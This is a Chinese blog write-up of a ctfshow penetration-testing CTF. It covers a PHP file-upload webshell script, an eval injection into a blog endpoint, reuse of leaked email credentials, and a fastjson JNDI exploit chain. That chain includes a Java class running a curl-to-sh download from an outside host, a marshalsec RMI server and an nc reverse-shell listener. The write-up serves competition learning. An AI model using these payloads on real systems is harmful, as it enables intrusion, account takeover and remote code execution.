RealWorldCTF渗透赛第二期 (官方的wp梳理)
创始人
2024-06-02 17:57:30
0

2023年3月10日15时ctfshow举办的线上渗透赛,当时没有做出来,后期根据官方wp,做一下总结梳理

靶场环境

渗透域名:https://i.am.ctfer.com

场景一:信息收集

在主页下方查看帮助点开在最下方发现一条疑似作者的信息

去github搜索一下,果然发现该站的源代码

在Anonymous-Chat-Room/client/photo_upload.php 中发现了文件上传漏洞

getshell

利用这个漏洞,创建一句话木马并,编写python脚本

import requestsurl ="https://i.am.ctfer.com/photo_upload.php"files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}response = requests.post(url=url,files=files)print(response.text)

运行脚本,上传成功,并得到上传后的文件名

使用hackbar,post一个1=phpinfo();脚本可以被成功执行

使用蚁剑连接这个shell

成功连接

场景二:继续寻找敏感信息

在/var/www/html/login.php 中,发现一个敏感信息,是一个邮箱和一个密码

使用hacker_ctfshow@163.com / Hacker_ctfsh0w 去login.php登录一下(比赛当天因为各种原因,login.php未开放,无法访问)登陆到了网站后台管理页面,感觉可以利用的地方是上传头像的点,因为已经拿到了webshell,所以没有再上传文件。

去登陆邮箱hacker_ctfshow@163.com试试看,密码Hacker_ctfsh0w

登录成功,收件箱有一封入职通知的邮件,该邮件是加密的,尝试弱口令密码123456发现成功解密邮件内容,内容如下

根据邮件中的开发地址和登录key,登录到开发环境中,登陆后,发现xblog应用源码

利用vscode的终端功能,直接getshell提权,拿下该服务器

在www/xblog/c/t.php中$d存在逻辑问题,没有过滤带入了php文件,可以写马上传文件

场景三:继续getshell

邮件中还有其他信息,继续开发任务对应的测试版在 https://blog.ctfer.com

先登录/a/?log

根据indexphp中的实例,使用admin:123456成功登录并拿到cookie

参考wp编写的python脚本,修改cookie值并运行

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-09 11:05:32
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.comimport requestsurl = "https://blog.ctfer.com/c/t.php"cookie={"PHPSESSID":"7ed6c788655d7c4a7a397d41331b5666"
}data={"dat":'";eval($_POST[1]);?>',"title":"1","content":"%20",
}response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)print(response.text)

回显得到文件名{"result":"ok","pid":1}

木马地址为/p/1.php

使用剑蚁连接

场景四:getshell后内网渗透

连接后打开终端ip addr show

使用ping联通测试,发现存活主机192.168.102.2

对102.2主机的开放端口进行测试,发现存在8090的fastjson端口

横向渗透

使用fastjson漏洞来实现rce,因为我没有vps,自己实验操作就到此为止了,下面的部分是ctfshow官方的wp

首先生成恶意class

public class ctfshow {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","curl https://your-shell.com/43.154.107.226:9999 |sh"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

vps挂恶意class

启动简单http服务

python3 -m http.server 3306

启动class

java -cp /home/ctfshow/tmp/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:3306/#ctfshow.class" 3389

开启监听端口

nc -lvvnp 9999

x.json文件

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps地址:3389/Exploit","autoCommit":true}
}

a.sh文件

curl -X POST -H 'content-type:application/json' http://192.168.102.2:8090/ -d @x.json

使用curl发送json包

vps成功获得反弹shell

资产梳理

序号

资产类型

域名

内网IP

权限

应用

1

Linux

i.am.ctfer.com

172.17.0.2/16

www-data

匿名聊天应用

2

敏感信息

mail.163.com

/

普通权限

可收发邮件

3

Linux

open.ctfer.com

/

root

开发环境

4

Linux

blog.ctfer.com

192.168.102.3

www-data

开发版blog应用

5

Linux

/

192.168.102.2

root

fastjson

共计5个场景,4台服务器,涉及4个域名

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
【Ctfer训练计划】——(三... 作者名:Demo不是emo  主页面链接:主页传送门 创作初心ÿ...